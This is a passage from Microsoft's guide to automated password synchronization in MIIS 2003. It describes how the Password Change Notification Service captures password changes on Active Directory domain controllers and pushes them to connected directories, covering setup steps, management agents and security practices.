    Although this solution is also typical, it is not efficient because a state-based solution is not real time. Users must wait for the synchronization application to run for their passwords to be synchronized over multiple connected directories. This delay causes a problem when users log on to a connected data source before the password management agent runs. Because the passwords are not synchronized, users must remember the previous passwords for all of their connected data sources.

    An event-driven password management application, such as the one in MIIS 2003, is a more viable solution to these password management challenges. MIIS 2003 users change their passwords from their desks in an authoritative connected data source. Then, a service in the authoritative connected source captures the password change requests and pushes the newly changed password to other configured connected data sources in real time. This solution is cost-effective and efficient because users do not have to manually change passwords for each connected data source to match the password of the authoritative connected data source. Also, when they initiate password changes, those changes are effective immediately.

    The Automated Password Synchronization Solution for MIIS 2003

    During automated password synchronization, a user makes a password change in an authoritative connected data source. The newly updated password is automatically captured from the authoritative data source during the password change process, and then distributed to configured, connected data sources in MIIS 2003. When a user presses CTRL+ALT+DEL on the keyboard to initiate the password change at the authoritative data source, the change process initiates synchronization with the other data sources so that the password is distributed with little or no manual intervention.

    The automated password synchronization solution for MIIS 2003 addresses the password management needs of many enterprises. It provides a near real time automated password synchronization solution. This Guide introduces you to automated password synchronization in MIIS 2003 and the steps needed to implement the solution in an enterprise environment.

    The Automated Password Synchronization Process in MIIS 2003

    The automated password synchronization process in MIIS 2003 uses the Password Change Notification Service (PCNS) to perform near real time automated password synchronization. PCNS is a service that runs on a Microsoft Windows Server® 2003 domain controller. It listens for password change requests that are sent to that domain controller. When PCNS receives a password change request, it sends a change notification to the MIIS 2003 server that then initiates the password synchronization process. Using PCNS makes it possible to have the password change event trigger the synchronization operation immediately rather than waiting for the next scheduled management agent run normally associated with MIIS 2003. This functionality provides both the automation and near real time capabilities that are commonly desired in a password synchronization solution.

    In a PCNS-based solution, MIIS 2003 runs as a Remote Procedure Call (RPC) server that has been configured to listen for change notifications sent by PCNS. When MIIS 2003 receives a notification, it authenticates the source of the notification, and then initiates the password synchronization process on the MIIS 2003 server. The newly updated password is immediately propagated to the other connected data sources that you configured to participate in the password synchronization environment.

    Automated password synchronization assumes that the user accounts already exist in the source and target directories, and that those accounts have been imported and joined to one another in the metaverse. This is known as join information.

    Automated password synchronization synchronizes passwords only between existing accounts on connected data sources that have management agents that support the password synchronization option. (That option must be enabled.) Automated password synchronization does not perform the usual full or delta synchronizations normally processed by a synchronization run profile. It does not create accounts, synchronize other attributes, process rules extensions, or trigger provisioning code.

    The following illustration shows the process for implementing automatic password synchronization. A description of the process follows the illustration.

    How Password Synchronization Works

    1. The user or an administrator initiates the password change request. The password change request, including the new password, is then sent to the domain controller.
    2. The domain controller records the password change request, and then notifies the password change notification filter (pcnsflt.dll).
    3. The password change notification filter passes the request to PCNS.
    4. PCNS verifies the password change request, and then uses Kerberos to authenticate the Service Principal Name (SPN).
    5. PCNS encrypts the password change request, and then forwards it to the MIIS 2003 target server, which runs as an RPC server.
    6. MIIS 2003 validates that the source domain controller is a member of the Domain Controllers container in the source domain.
      MIIS 2003 uses the domain name to locate the management agent that services that domain, and then uses the user account information in the password change request to locate the corresponding object in the connector space.
      MIIS 2003 uses the join information to determine which management agents should receive the password change request, and if they are enabled for password synchronization.
      Password synchronization is initiated, and then the updated password is sent to the configured data sources.

    Before You Implement the Solution

    Before you implement an automated password synchronization solution in your enterprise environment, it is important that you understand the following points:

    • Active Directory is the only authoritative connected directory in an automated password synchronization environment.
    • Bi-directional password synchronization between Active Directory forests causes an infinite loop to occur.
    • Following security best practices can enhance the security of your enterprise environment. For more information, see Security Considerations for Automated Password Synchronization later in this document.
    Active Directory as the Authoritative Data Source

    A data source is authoritative for data stored in the MIIS 2003 metadirectory when data that is imported into the metadirectory from that source overwrites any data currently stored in the metadirectory. Active Directory is the only authoritative data source for automated password synchronization. Because MIIS 2003 does not natively support using another authoritative data source for automated password synchronization, all passwords are set in Active Directory, and then pushed to other data sources.

    This is why password synchronization in MIIS 2003 is referred to as one way. Password changes originate in Active Directory, and then flow one way through MIIS 2003 to the connected data sources. Using MIIS 2003 password synchronization, password changes cannot flow from any other data source back to Active Directory.

    Bi-Directional Password Synchronization and an Infinite Loop

    Bi-directional password synchronization occurs when more than one Active Directory forest is the authoritative source for automated password synchronization. MIIS 2003 does not support bi-directional password synchronization. Bi-directional password synchronization causes an infinite loop to occur. If your environment has multiple Active Directory forests, you must set one forest as the authoritative forest for automated password synchronization. Otherwise, an infinite loop occurs.

    An example of an infinite loop is when Forest A receives a password change request, and then sends a password change notification to Forest B. Forest B interprets this as a change request, and then sends the request back to Forest A. Each time the notification is sent, the receiving forest interprets it as a change request, and then sends a new notification to the other forest, thus causing an infinite loop.

    If bi-directional password synchronization is inadvertently set up, MIIS 2003 limits the number of password changes in 24 hours to prevent excessive password changes. If this scenario occurs, you lose any password changes that occur after this limit is reached.

    Implementing the Automated Password Synchronization Solution

    The automated password synchronization solution in MIIS 2003 allows users to change their passwords in all connected data sources that are configured for automated password synchronization. Users can press CTRL+ALT+DEL on the keyboard to initiate password change.

    ImportantImportant

    This is a password change operation, not a password set or reset operation. For a password change operation, a user must know the previous password when attempting to change passwords. For a password set or reset operation to occur, a user does not have to know the previous password to set or reset the password to a different value. The automated password synchronization solution is a password change operation because users must know the previous password.

    The process for implementing an automated password synchronization solution is as follows:

    1. Installing PCNS on all Active Directory domain controllers
    2. Configuring the Service Principal Name (SPN)
    3. Configuring an inclusion and exclusion group (optional)
    4. Configuring PCNS
    5. Configuring the management agents
    6. Enabling password synchronization

    This section provides an overview of the automated password synchronization process. For detailed instructions for implementing the automated password synchronization solution, see Implementing the Automated Password Synchronization Solution – Step-by-Step at http://go.microsoft.com/fwlink/?LinkId=81750.

    Installing PCNS on All Active Directory Domain Controllers

    To ensure that password changes originating in Active Directory are sent to MIIS 2003, you must install PCNS on all of the Active Directory domain controllers in your environment. PCNS is located on the MIIS 2003 SP1 installation CD. In this phase of implementing the automated password synchronization process, PCNS is installed only on the domain controllers. You configure PCNS later in the process.

    PCNS is the service that delivers all password change notifications to MIIS 2003 for processing. PCNS captures passwords in plaintext, and then, using RPC packet privacy, sends them to the server running MIIS 2003 for processing. PCNS uses the password change notification filter to capture the plaintext passwords before they can be encrypted by the target directory. After you install the filter and restart the domain controller, the filter receives password changes that are sent to that domain controller.

    PCNS Components

    Installing PCNS installs the following components on all domain controllers:

    • PCNS filter (Pcnsflt.dll) – This filter catches plaintext passwords when they are sent to Active Directory. This filter is loaded by the Local Security Authority (LSA) on each Microsoft Windows 2000 or Windows Server 2003 domain controller participating in password distribution to a target server running MIIS 2003. After you install the filter and restart the domain controller, the filter receives password change notifications for password changes that originate on that domain controller. This filter runs simultaneously with other filters running on the domain controller.
    • PCNS (Pcnssvc.exe) – This service runs on a domain controller. It receives password change notifications from the local password filter, queuing them for the target server running MIIS 2003. The service, which uses RPC to deliver the notifications, captures passwords in plaintext. It then encrypts the passwords and ensures that they remain secure by using RPC packet privacy, until they are delivered successfully to the target server running MIIS 2003.
    • PCNS configuration tool (Pcnscfg.exe) – This tool manages and maintains the PCNS configuration parameters stored in Active Directory. PCNS uses these configuration parameters when it authenticates and sends password notifications to the target server running MIIS 2003. Configuration parameters determine the target servers, the password queue retry interval, and when target servers are enabled or disabled.
    PCNS Requirements

    Keep the following requirements in mind when you install PCNS on your domain controllers:

    • Although PCNS captures password changes, it cannot synchronize existing passwords from one forest into another forest.
      PCNS is push technology, not pull technology. Specifically, passwords can be pushed from Active Directory but cannot be pulled from Active Directory. If a password already exists, PCNS does not change it or synchronize it with other connected data sources. Passwords that existed previously in Active Directory must have a change request instigated for PCNS to retrieve the password change request and synchronize that password with the other connected data sources.
    • In an optimal configuration, PCNS and MIIS 2003 are in the same forest because they authenticate to each other using Kerberos authentication.
    • PCNS and MIIS 2003 can be in different forests if two conditions are met:
      • A Kerberos realm forest trust must be established between the forests hosting PCNS and MIIS 2003. This requires that both forests and domains are running in Windows 2003 functional mode. For more information on forest trusts see Trust types at http://go.microsoft.com/fwlink/?LinkId=106059.
      • DNS is configured such that Kerberos can function properly between forests.
    • You can synchronize passwords one way between forests without trust if MIIS 2003 and PCNS are in the same forest. For example, if you want to install both PCNS and MIIS 2003 in Forest A, and you want to configure them to synchronize passwords to Forest B; the credentials in the MIIS 2003 management agent for Forest B will provide the necessary authentication without the trust requirement.
    • Each domain controller whose password changes are to be managed by PCNS must have:
      • PCNS installed.
      • The capability to contact the MIIS 2003 server via Remote Procedure Call (RPC).
    • PCNS installation verifies the Active Directory schema to ensure that classes and attributes needed to run PCNS are available. If they are not, the PCNS installation wizard prompts you to launch the PCNS Schema Update Wizard to update the schema.
      After updating the Active Directory schema, you must run the PCNS installation wizard again in order to install PCNS.
      To modify the schema, you must be a member of both the Domain Admins and the Schema Admins groups. You must extend the Active Directory schema only once for each Active Directory forest. The schema modifications are replicated to the other domain controllers in the forest when domain replication occurs.
    Configuring the Service Principal Name (SPN)

    MIIS 2003 uses Setspn.exe to create and configure the service principal name (SPN). Setspn.exe is included with the Windows 2000 Resource Kit Tools and the Windows Server 2003 Support Tools on the Windows Server 2003 installation CD.

    SPN is a property on the account object in Active Directory that the Kerberos protocol uses to mutually authenticate PCNS and the MIIS 2003 server. SPN is the mechanism by which PCNS authenticates to MIIS 2003.

    Using PCNS and MIIS 2003, SPN works in the following manner:

    1. When PCNS binds to the RPC server in MIIS, it tells RPC that it must use Kerberos, which server to connect to, and what principal it expects to be running at the other end (SPN).
    2. RPC connects to the server, locates the end point, and then passes authentication to Kerberos.
    3. Kerberos takes the SPN provided, and then verifies that the server name portion specified in the SPN matches the computer with which it is communicating.
    4. Kerberos runs a lookup on the host account in Active Directory to compare the SPN with the SPNs registered for that account. Because Kerberos asks for mutual authentication, it also ensures that the incoming call is from an authenticated account. If the SPNs match, then the authentication succeeds.
    5. RPC calls the security callback function, which gives MIIS 2003 an opportunity to validate further.
    6. MIIS 2003 validates that the caller is a domain controller on the specified domain.
    SPN Naming Convention

    We recommend that you use an SPN that reflects the service that will run. For example, you might use PCNSCLT because this SPN indicates that this is the SPN of the target MIIS 2003 server for PCNS.

    The SPN must be unique and cannot appear on any other service account. Otherwise, Kerberos authentication fails and PCNS does not send password change requests to MIIS 2003.

    Configuring an Inclusion and Exclusion Group (Optional)

    Optionally, you can configure groups that will or will not participate in automated password synchronization. If all the users in the domain will participate in automated password synchronization, then this step is not necessary.

    Inclusion and exclusion groups must be security groups. As the names imply, the members of these groups are users who are either included or excluded from password synchronization. These groups should reside in the authoritative forest for password synchronization. If you have an existing group for users who must participate in password synchronization, you can specify that group. If not, create a new group. For example you can create a group called PasswordSyncUsers for all users whose passwords you want to synchronize.

    noteNote

    Members of the exclusion group are always excluded from password synchronization, even if they are also members of the inclusion group.

    Configuring PCNS

    Earlier in the automated password synchronization solution, you installed PCNS on all the domain controllers in the authoritative forest. Now, you must configure PCNS on those domain controllers.

    You use Pcnscfg.exe, a command-line tool, to configure PCNS to process password change notifications to MIIS 2003. Pcnscfg.exe manages and maintains the PCNS configuration parameters stored in Active Directory. It installs with PCNS into the Microsoft Password Change Notification folder, which is in the Program Files folder, on each domain controller.

    You must configure the following parameters for PCNS:

    • The user-defined friendly name of the target server running MIIS 2003.
    • The fully-qualified domain name of the server running MIIS 2003.
    • The SPN for the server running MIIS 2003.
    • The specified inclusion group of all users who will participate in automated password synchronization.

    noteNote

    For detailed instructions on configuring PCNS, see Implementing the Automated Password Synchronization Solution – Step-by-Step at http://go.microsoft.com/fwlink/?LinkId=81750.

    MIIS 2003 uses these configuration parameters when it authenticates and sends password notifications to the target server running MIIS 2003.

    After you configure PCNS, password changes that are sent to domain controllers in the authoritative forest can be sent to MIIS 2003 for further processing.

    Configuring the Management Agents

    To correctly configure the Management Agent for Active Directory and the target management agents for automated password synchronization, you must know which management agents support automated password synchronization by default and which management agents require that you configure a password extension to support automated password synchronization.

    noteNote

    You do not have to run the management agents for automated password synchronization to occur. MIIS 2003 uses information from the management agent configuration to process password synchronization requests in real time.

    Default Support for Automated Password Synchronization

    Management agents in MIIS 2003 support a range of password management features. Management agents for directory services support password set and change operations by default.

    The following management agents support password change operations:

    • Management Agent for Active Directory
    • Management Agent for Active Directory Application Mode (ADAM)
    • Management Agent for Windows NT 4.0

    The following management agents support password set operations only:

    • Management Agent for Lotus Notes
    • Management Agent for Sun and Netscape Directory Servers (formerly iPlanet Directory Server)
    Extension Support for Automated Password Synchronization

    For file-based, database, and extensible connectivity management agents, which do not support password change and set operations by default, you can create a .NET password extension dynamic-link library (DLL). The Microsoft .NET password extension DLL is called whenever a password change or set call is invoked for any of these management agents. You configure password extension settings for these management agents in MIIS 2003 Identity Manager.

    noteNote

    For more information about configuring password extensions, see Microsoft Identity Integration Server 2003 Developer Reference at http://go.microsoft.com/fwlink/?LinkId=77629.

    The following management agents support password management using a password extension:

    • Management Agent for Attribute-Value Pair Text File
    • Management Agent for Delimited Text File
    • Management Agent for Directory Services Markup Language (DSML)
    • Management Agent for Extensible Connectivity
    • Management Agent for Fixed-Width Text File
    • Management Agent for IBM DB2
    • Management Agent for LDAP Data Interchange Format (LDIF)
    • Management Agent for Microsoft SQL Server™
    • Management Agent for Oracle Database
    Configuring the Management Agent for Active Directory

    You must configure the Management Agent for Active Directory on the server running MIIS 2003 so that it can process password change requests. The Management Agent for Active Directory must be the source for all password change requests. As such, the authoritative Active Directory domain pushes all password change requests to every configured data source that has password management enabled.

    Enabling and Configuring the Target Management Agents

    You must configure the management agents for all connected data sources that participate in automated password synchronization to receive and process password change requests. These management agents receive the password changes sent to them by the Active Directory domain that you have enabled to be the source for password synchronization.

    The Configure Extensions option, located in the Properties section of each target management agent, has the following options to enable automated password management:

    • Maximum retry count
      This option specifies the number of times MIIS 2003 attempts to push a password change to the connected data source, if there are connectivity errors.
    • Retry interval
      This option specifies how much time elapses between attempts by MIIS 2003 to push the password to the connected data source.
    • Require secure connection for password synchronization operations
      This option specifies that a secure connection to the connected data source is required before MIIS 2003 attempts to push a password change to the connected data source. If you do not include this option, the management agent pushes the password change to the connected data source regardless of the security level.
    Enabling Password Synchronization

    The final step in implementing the automated password synchronization solution is to enable password synchronization on the server running MIIS 2003. Although you have enabled password management for the relevant management agents, you must configure the MIIS 2003 Web-based application separately for successful automated password synchronization.

    When password synchronization is enabled, the RPC service on the server running MIIS 2003 starts. This ensures that MIIS 2003 can process password change requests that are sent to it from Active Directory, and then push those requests to the connected data sources. RPC dynamically chooses a range of ports to push the password change requests to the connected data sources. If you require that MIIS 2003 communicate with the Active Directory forest through a firewall, you must open a range of ports.

    If you enable, and then disable, password synchronization, password synchronization on MIIS 2003 pauses. MIIS 2003 holds all password change requests that it has already received in the queue, and then processes them when you enable password synchronization again. While password synchronization is disabled, password change notifications from the domain controllers are not acknowledged and are held in queues on the domain controllers. When you enable password synchronization again, MIIS 2003 processes these requests.

    Security Considerations for Automated Password Synchronization

    For many enterprises, transporting and storing passwords across connected data sources is a security concern. If password security is compromised, enterprises can be vulnerable to threats from outside intruders. MIIS 2003 addresses the following security considerations for automated password synchronization:

    • Authentication from the password source – When MIIS 2003 receives a password change notification, the domain controller and MIIS 2003 do Kerberos authentication to ensure that the recipient and sender are both valid. MIIS 2003 ensures that the caller has an account in the Domain Controllers container of the domain to which it belongs.
    • Failed password synchronization to a target data source due to an insecure connection – If a management agent that is configured to require a secure connection does not detect one, synchronization fails. If the management agent is configured to allow non-secure connections, however, synchronization succeeds. Enable non-secure connections only after examining and understanding the risks involved.
    • Secure storage of passwords – MIIS 2003 stores encrypted passwords only temporarily. All passwords received by MIIS 2003 during a password change notification operation are encrypted as soon as they enter the MIIS 2003 process. The moment they are successfully sent to the target connected data source, they are decrypted, and the memory storing the password is immediately cleared. If the operation fails to write to the target connected data source, the encrypted password is stored until all retry attempts have been attempted, and then the password is cleared from memory.
    • Secure password queues – Passwords stored in PCNS password queues are encrypted until they are delivered.

    Because security is a major concern for many enterprises, MIIS 2003 has built-in features that address many security issues that can occur when you implement an automated password synchronization solution. Below are best practices for security in MIIS 2003 that can enhance the security of your corporate environment. For more information about securing your MIIS 2003 environment, see MIIS Best Practices for Security in MIIS 2003 Help.

    Lock Down the MIIS 2003 Service Account

    MIIS 2003 runs in the security context of a specific account. Because the account has access to all MIIS 2003 resources, you should lock down this account with the following restrictions:

    • Deny users access to log on as a batch job.
    • Deny users access to log on locally.
    • Deny users access to log on using Terminal Services.
    • Deny users access to this computer from the network.

    noteNote

    For more information about setting account restrictions on Windows Server 2003, Enterprise Edition accounts, see Windows Server 2003, Enterprise Edition Help.

    Place the Server Running MIIS 2003 Behind a Firewall

    Ensure that the network context in which the server running MIIS 2003 run is behind a firewall. Use a tunnel from the server running MIIS 2003 to connect to resources such as domain controllers, if they are not on the same side of the firewall. For more information about security and Windows Server 2003, Enterprise Edition, see Windows Server 2003, Enterprise Edition Help.

    Resource Requirements

    As with any technology project, having enough of the right resources to implement a solution is critical. Resources such as scheduling, existing infrastructure budget, and solution features all impact the success of an automated password synchronization solution.

    As noted earlier, we recommend that you try the procedures in this automated password synchronization solution in a test environment prior to deploying them in a production environment.

    Although it does not follow recommended practices, you can set up a minimal test environment using only two computers to test this solution. To perform the procedures in this Guide, your test environment should have the following characteristics:

    • At least one Active Directory domain controller running Windows Server 2000 or Windows Server 2003.
    • A member server running Windows Server 2003, Enterprise Edition with at least one Management Agent for Active Directory and another management agent configured and successfully synchronizing objects with the Management Agent for Active Directory. The MIIS 2003 service account must be a domain account.
    • A client workstation that is a member of the domain that can be used to initiate and verify password changes.
    • No firewall between the servers.
      If a firewall is enabled, you must open a range of ports to allow RPC communication between the domain controller and the server running MIIS 2003. For more information, Microsoft Identity Integration Server 2003 Technical Reference at http://go.microsoft.com/fwlink/?LinkId=38680.
    • MIIS 2003 installation CD for PCNS installation.
    • Service Principal Name (SPN) utility. You can find this utility in Windows 2000 Resource Kit Tools or Windows Server 2003 Support Tools, which are located on the Windows Server 2000 system disk or Windows Server 2003 system disk.

      noteNote

      To download Setspn.exe, see Windows 2000 Resource Kit Tools for administrative tasks at http://go.microsoft.com/fwlink/?LinkID=33697.

    • As noted earlier, during installation, PCNS verifies the Active Directory schema to ensure that classes and attributes needed to run PCNS are available. If they are not, the PCNS installation wizard prompts you to launch the PCNS Schema Update Wizard to update the schema. To modify the schema, you must be a member of both the Domain Admins and the Schema Admins groups. You must extend the Active Directory schema only once for each Active Directory forest. The schema modifications are replicated to the other domain controllers in the forest when domain replication occurs.

    Troubleshooting

    Be aware that users will not get any type of notification that things are not working. They will simply be aware that their changes are not getting through. So if the PCNS service is unavailable, down, or not working they will have no indication of this.

    There will be error messages in the Event Viewer of the Domain Controller where PCNS is installed. There will be events to indicate that the service is not started or that changes are not being forwarded. Administrators should check the Event Viewer of the DC where PCNS is installed if they suspect that the service is not working or if changes are not being forwarded.

    Summary

    This Guide is an automated password synchronization solution based on MIIS 2003. It provides an overview of how automated password synchronization works, its fundamental components, and the processes necessary to implement the solution in your enterprise environment.

    For detailed procedures, see Implementing the Automated Password Synchronization Solution – Step-by-Step at http://go.microsoft.com/fwlink/?LinkId=81750. This document presents instructions for implementing the automated password synchronization solution. It also provides configuration options and illustrations of the information in this Guide.

    %d bloggers like this: